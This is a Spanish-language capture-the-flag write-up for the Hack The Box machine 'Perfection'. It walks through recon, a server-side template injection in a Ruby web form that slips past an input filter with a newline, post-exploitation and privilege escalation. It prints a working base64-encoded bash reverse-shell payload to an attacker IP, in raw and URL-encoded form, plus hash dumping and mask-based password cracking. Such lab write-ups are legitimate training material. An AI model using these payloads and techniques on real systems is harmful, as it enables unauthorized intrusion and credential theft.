Descripción

Perfection es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección de plantillas en el lado del servidor (SSTI) en una aplicación web Ruby
  • Exposición de datos sensibles en una base de datos SQLite
  • Recuperación de una contraseña a través de un hash utilizando una máscara
  • Escalada de privilegios a través permisos débiles con la contraseña recuperada previamente

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.144.202.

$ ping -c 3 10.129.144.202
PING 10.129.144.202 (10.129.144.202) 56(84) bytes of data.
64 bytes from 10.129.144.202: icmp_seq=1 ttl=63 time=52.2 ms
64 bytes from 10.129.144.202: icmp_seq=2 ttl=63 time=51.6 ms
64 bytes from 10.129.144.202: icmp_seq=3 ttl=63 time=52.1 ms

--- 10.129.144.202 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.565/51.967/52.210/0.286 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.144.202 -sS -p- -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.144.202
Host is up (0.060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 36.50 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.144.202 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.144.202
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Ubuntu Linux. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://perfection.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.

$ echo "10.129.144.202 perfection.htb" | sudo tee -a /etc/hosts

Con WhatWeb podemos ver las tecnologías del sitio web, en este caso está utilizando y servidor nginx con una aplicación Ruby WEBrick 1.7.0. WEBrick es un kit de herramientas de servidor HTTP.

$ whatweb --log-brief web_techs perfection.htb
http://perfection.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], IP[10.129.144.202], PoweredBy[WEBrick], Ruby[3.0.2], Script, Title[Weighted Grade Calculator], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]

La página web tiene una herramienta para calcular una nota total en una clase basada en la puntuación de las categorías y los pesos porcentuales.

Explotación

El formulario de entrada puede ser vulnerable a la inyección de comandos. Si se introduce un símbolo, el mensaje Malicious input blocked aparece. Como la aplicación está usando Ruby necesitamos hacer un Server Side Template Injection (SSTI) con el formato <%= command %>. Observamos que si introducimos un carácter de salto de línea \n o 0x0a URL codificado, los caracteres después de la nueva línea no son procesados por el filtro, por lo que podemos inyectar comandos para crear una terminal inversa con el parámetro category1.

Parámetro a utilizar:
category%0a<%= system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE= | base64 -d | bash') %>

Parámetro a utilizar URL codificado:
category%0a<%25%3d+system('echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA%2bJjE%3d+|+base64+-d+|+bash')+%25>

Abrimos el puerto de escucha y enviamos la solicitud. Recibiremos la terminal inversa que tendremos que actualizar.

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.144.202] 34940
bash: cannot set terminal process group (967): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
[keyboard] CTRL-Z
susan@perfection:~/ruby_app$ stty rows 48 columns 156
susan@perfection:~/ruby_app$ export TERM=xterm
susan@perfection:~/ruby_app$ export SHELL=bash

Post-Explotación

Después de la explotación, vemos que estamos conectados como el usuario susan. Aparte de eso, sólo encontramos la cuenta root como usuario de consola.

susan@perfection:~/ruby_app$ id
id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
susan@perfection:~/Migration$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
susan:x:1001:1001:Susan Miller,,,:/home/susan:/bin/bash

Encontramos un archivo de base con formato SQLite en la ruta /home/susan/Migration/pupilpath_credentials.db. Podemos volcar sus datos usando el comando sqlite3.

susan@perfection:~/Migration$ sqlite3 pupilpath_credentials.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8

Conseguimos los hashes para algunos usuarios, incluyendo susan. Podemos extraer el hash y romperlo usando John The Ripper. El tipo de hash es SHA256. Si intentamos romper el hash usando el diccionario RockYou no conseguiremos ningún resultado. Enumeremos todo sobre la aplicación pupilpath.

$ grep -rni "pupilpath" / 2> /dev/null
/var/mail/susan:1:Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

Encontramos un correo electrónico enviado a susan sobre la aplicación PupilPath.

$ cat /var/spool/mail/susan 
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Como leemos, tenemos el formato de la contraseña de destino, {primernombreenminusculas}_{primernombrealrevesenminusculas}_{numero aleatorio entre 0 y 1000000000}, por lo que podemos utilizar ahora John con la máscara para encontrar la contraseña.

$ john --mask=susan_nasus_?d?d?d?d?d?d?d?d?d --format=Raw-SHA256 hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
susan_nasus_413759210 (Susan Miller)     
1g 0:00:00:32 DONE 0.03107g/s 31075Kp/s 31075Kc/s 127485KC/s susan_nasus_502406777..susan_nasus_777777777
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para Susan Miller, susan_nasus_413759210. La contraseña se reutiliza en la cuenta Linux susan por lo que podemos enumerar los comandos que susan puede ejecutar como el usuario root.

susan@perfection:~/Migration$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL

Susan puede ejecutar todos los comandos como root por lo que sólo necesitamos usar sudo para obtener terminal inversa como root.

susan@perfection:~/Migration$ sudo -i
Password:
root@perfection:/home/susan/Migration# id
uid=0(root) gid=0(root) grupos=0(root)

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@perfection:/home/susan/Migration# cat /home/susan/user.txt
<REDACTED>
root@perfection:/home/susan/Migration# cat /root/root.txt
<REDACTED>